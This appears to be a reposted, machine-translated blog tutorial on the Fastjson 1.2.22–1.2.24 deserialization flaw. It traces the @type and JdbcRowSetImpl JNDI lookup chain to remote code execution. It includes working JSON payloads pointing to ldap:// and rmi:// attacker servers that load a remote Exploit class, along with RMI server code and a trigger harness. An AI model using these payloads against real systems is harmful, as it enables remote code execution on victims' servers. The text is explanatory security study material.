Principle analysis of fastjason deserialization vulnerability

Introduction to fastjason

Fastjson framework Download: https://github/alibaba/fastjson

Fastjson JNDI Download: https://github.com/earayu/fastjson_jndi_poc

fastjson is a high-performance JSON library written in java language developed by Alibaba, which is used to convert data between JSON and Java Object. Instead of using java's serialization mechanism, it customizes a set of serialization mechanism.

Two main interfaces are provided:

JSON.toJSONString and JSON parseObject/JSON. Parse implements serialization and deserialization respectively

Vulnerability principle

fastjson is to know whether the incoming value is the apple type in the fruit or the Apple phone type in the fruit. autotype mechanism is added. Because he needs to read @ type every time in order to know what detailed type it is.

The Fastjson deserialized Gadget needs a parameterless default constructor or annotation to specify the constructor and add corresponding parameters. Use feature Only supportnonpublicfield can enable the deserialization of non-public attributes, @ type can specify to deserialize any class and call its set, get and is methods. Due to the characteristics of deserialization, we can freely set the attribute value of the class through the set method of the target class.

The attacker prepares rmi services and web services and injects the rmi absolute path into the lookup method. The victim's JNDI interface will point to the attacker controlling the rmi server. The JNDI interface remotely loads malicious code to the attacker controlling the web server and executes the constructor to form RCE.

FastJson serialization operation

serialize

Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);   
	//The key point of the vulnerability is @ type
String jsonString2 = JSON.toJSONString(student);
System.out.println(jsonString);
System.out.println(jsonString2);

Deserialization

    //Deserialization
System.out.println("Deserialization");
    //String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";       		// Payload is written in the malicious class student. But on the server side, how to create a class and how to write a payload
String json_ser2 = "{\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser2,Student.class,Feature.SupportNonPublicField);
    //Feature.SupportNonPublicField gets private variables in the class
Student stu2 = (Student) JSON.parseObject(json_ser2,Object.class,Feature.SupportNonPublicField);
System.out.println(stu.getClass());
System.out.println(stu2.getClass().getName());

Serialize String json_ser2 = “{“name”:“jack”}” ; Will report an error

Serialize String json_ser = “{”@type":“com.company.Student”,“name”:“jack”}"; No error will be reported

Therefore, the root cause of deserialization is @ type


Call chain analysis principle

Available fastjson versions: [1.2.22,1.2.24]. There is no such vulnerability in the later version

Idea: how to create and write payload classes on the server side.

 //LADP mode
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
 //RMI mode
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";

This uses JNDI. JNDI provides a common and unified interface to find and access various naming and directory services. Supported services: DNS, LDAP, RMI, CORBA, etc

JNDI injection occurs in the client's lookup(). If the lookup() parameter is controllable, it can lead to attack

Running SomeFastjsonApp can directly open the calculator in the computer

Locate com sun. rowset. Jdbcrowsetimpl (com.sun.rowset in rt.jar of jdk)

Then locate the setDataSourceName method

Locate autocommit in the class JdbcRowSetImpl

Then press ctrl + the left mouse button and click the connect method to continue positioning

See a lookup method, where getDataSoureceName is controllable, which is the principle that the vulnerability can be exploited

Utilization process analysis

Implementation of RMI

  1. RMI is a remote method calling mechanism specially designed for JAVA environment in JAVA

  2. Remote objects can be registered on the rmi server

  3. Point to web server

Server

public class RegistryService {
    public static void main(String[] args) {
        try {
            // An instance of the remote object Registry on the local host, default port 1099
            Registry registry = LocateRegistry.createRegistry(1099);
            // Create a remote object
            HelloRegistryFacade hello = new HelloRegistryFacadeImpl();
            // Register the remote object on the RMI registration server and name it HelloRegistry
            registry.rebind("HelloRegistry", hello);
            System.out.println("======= start-up RMI Service success! =======");
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
}

client

public class RegistryClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloRegistryFacade hello = (HelloRegistryFacade) registry.lookup("HelloRegistry");
            String response = hello.helloWorld("ZhenJin");
            System.out.println("=======> " + response + " <=======");
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

JNDI

JNDI is a Java command and directory interface that provides a unified interface for finding various naming and directory services.

The simple understanding is: the registry in java microservices

JNDI uses a class jdbcRowSetImpl on the target server to let the target server access the remote RMI server( rmi://127.0.0.1:1099/Exploit ), execute the corresponding operation after receiving the response

Server side code construction

  1. Constructed in the jndi server class of jndi

  1. rmi server needs an exploit Class is placed in the web server directory pointed to by rmi, and this exploit Class is a factory through exploit Compiled by Java, it will be initialized during JNDI execution. The following is exploit Java code

  1. After the server is constructed, let's look at the payload
public class SomeFastjsonApp {

    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl(){
        //System variables need to be set and changed in JDK 8u121 later versions
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //LADP mode
        String payload1 = "		{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
        
        //RMI mode
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }

}

summary

1. fastjson utilization process

In fastjson, the jdbcRowSetImpl class in the jdk must be executed during deserialization. We input malicious content (rmi link) to the setdatasourcename in this class to make the target service request the rmi server and execute the commands issued by the rmi server during deserialization, resulting in a remote command execution vulnerability

2. How to upload malicious classes to the server

Create a harmful class on the server through jndi. After receiving the rmi command, the target server will load the malicious class generated by jndi

3. Principle of fastjson rce

The getdatasourcename parameter in the lookup method in the setAutoCommit method in the jdbcRowSetImpl class in the jdk is controllable

reference resources

idea jar package tutorial: https://www.pianshen.com/article/40051976554/

Keywords: Java Spring fastjson

Added by Nugen on Wed, 05 Jan 2022 21:54:45 +0200